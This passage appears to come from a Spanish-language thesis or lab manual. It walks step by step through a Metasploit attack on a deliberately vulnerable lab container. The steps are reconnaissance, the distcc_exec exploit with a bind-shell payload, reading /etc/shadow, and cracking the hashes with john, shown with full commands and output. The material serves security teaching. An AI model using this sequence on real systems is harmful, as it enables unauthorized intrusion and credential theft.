(53) 7.2. PRIMERA PARTE CON SVULNERABLE. 39. Código 7.8: Consultar información msf > hosts Hosts ===== address ------10.10.0.8. name ----. os_name ------Linux. os_flavor ---------. os_sp ----3. X. purpose ------server. info ----. comments --------. msf > creds Credentials =========== host ----. origin ------. service -------. public ------. private -------. realm -----. private_type - - - -- - - - -- - -. msf > vulns. msf > services Services ======== host port proto ------- ----10.10.0.8 3632 tcp ubuntu5 ) 4.6.3. name ---distccd. state ----open. info ---distccd v1 ( Ubuntu / Linaro 4.6.3 -1. Podemos observar que el comando host devuelve información sobre los sistemas encontrados en la red, incluyendo la versión del kernel de Linux. Creds y vulns no devuelven ninguna información, puesto que para tenerla es necesario primero vulnerar un servicio. Con services podemos ver los servicios que el sistema escaneado tiene activos, e informa sobre los puertos en los que el servicio está escuchando. En este caso, podemos ver que el único servicio abierto es “distccd”.. 7.2.4.. Explotación de vulnerabilidades. Dado que el único servicio abierto es “distccd”, vamos a buscar en la base de datos de exploits de metasploit por ello:.

(54) 40. CAPÍTULO 7. CAMBIOS EN LA PRÁCTICA Código 7.9: Búsqueda de exploits. msf > search distccd Matching Modules ================ Name Description -------------exploit / unix / misc / distcc_exec Daemon Command Execution. Disclosure Date. Rank. ---------------. ----. 2002 -02 -01. excellent. DistCC. Vemos que hay un exploit que puede servir para atacar el sistema. A continuación vamos a cargar el exploit para comenzar a configurarlo y usarlo. Código 7.10: Carga de exploit msf > use exploit / unix / misc / distcc_exec msf exploit (distcc exec) >. A continuación debemos configurar las opciones del exploit: Código 7.11: Ver opciones del exploit msf exploit (distcc exec) > show options Module options ( exploit / unix / misc / distcc_exec ) : Name ---RHOST RPORT. Current Setting --------------3632. Required -------yes yes. Description ----------The target address The target port. Exploit target : Id -0. Name ---Automatic Target. Vemos que la opcion RHOST es necesaria. Representa la IP de la máquina de la vı́ctima. Ponemos en esa opción la IP del contenedor vulnerable: Código 7.12: Configuración de opciones msf exploit (distcc exec) > set RHOST 10.10.0.8 RHOST = > 10.10.0.8.

(55) 7.2. PRIMERA PARTE CON SVULNERABLE. 41. Por último, necesitamos usar un payload con el que se consiga entrar en el objetivo. Vamos a ver los disponibles y a usar el correcto: Código 7.13: Configuración del payload msf exploit (distcc exec) > show payloads Compatible Payloads = == = = == = = == = = == = = = = Name Disclosure Date Description ---------------------------cmd / unix / bind_perl Command Shell , Bind TCP ( via Perl ) cmd / unix / bind_perl_ipv6 Command Shell , Bind TCP ( via perl ) IPv6 cmd / unix / bind_ruby Command Shell , Bind TCP ( via Ruby ) cmd / unix / bind_ruby_ipv6 Command Shell , Bind TCP ( via Ruby ) IPv6 cmd / unix / generic Command , Generic Command Execution [...]. Rank ---normal. Unix. normal. Unix. normal. Unix. normal. Unix. normal. Unix. msf exploit (distcc exec) > set payload cmd / unix / bind_perl payload = > cmd / unix / bind_perl. Tras ello, solo queda lanzar el ataque: Código 7.14: Lanzar ataque msf exploit (distcc exec) > exploit [*] Started bind handler [*] Command shell session 1 opened (10.10.0.5:34220 -> 10.10.0.8:4444) at 2016 -06 -26 18:50:56 +0200. Ahora comprobamos si estamos realmente metidos en la máquina y con qué permisos: Código 7.15: Comprobar si estamos dentro id uid =1000( ubuntu ) gid =1000( ubuntu ) groups =1000( ubuntu ). Como vemos no estamos metidos con el usuario root. Sin embargo, la máquina.

(56) 42. CAPÍTULO 7. CAMBIOS EN LA PRÁCTICA. vulnerable ha sido adaptada, por lo que a efectos prácticos y para el propósito que buscamos, si tenemos privilegios de superusuario. A continuación vamos a extraer la información de los usuarios del servidor: Código 7.16: Extraer contraseñas cat / etc / shadow root : * : 1 6 9 7 2 : 0 : 9 9 9 9 9 : 7 : : : daemon : * : 1 6 9 7 2 : 0 : 9 9 9 9 9 : 7 : : : bin : * : 1 6 9 7 2 : 0 : 9 9 9 9 9 : 7 : : : sys : $ 6 $ u Z L t 5 v c S $ X F v 4 U l D h y e M M 2 R P x W Q . G 3 u s Z i e g k g X P 3 n o y V H z 8 G V y o J o O 1 . udOi5MiCaO35t . F W w X a N o 9 b y g s o i 4 Q Q g A U S p Y 0 : 1 6 98 3 : 0: 9 9 99 9 : 7: : : sync : * : 1 6 9 7 2 : 0 : 9 9 9 9 9 : 7 : : : [...]. Como vemos, están codificadas. Vamos a copiar y a pegarlas en un fichero de texto y vamos a usar la herramienta john para realizar un ataque de fuerza bruta con diccionario básico: Código 7.17: Ataque de fuerza bruta root@kali : -# john shadow . txt. En unos segundos habremos obtenido las contraseñas de todos los usuarios..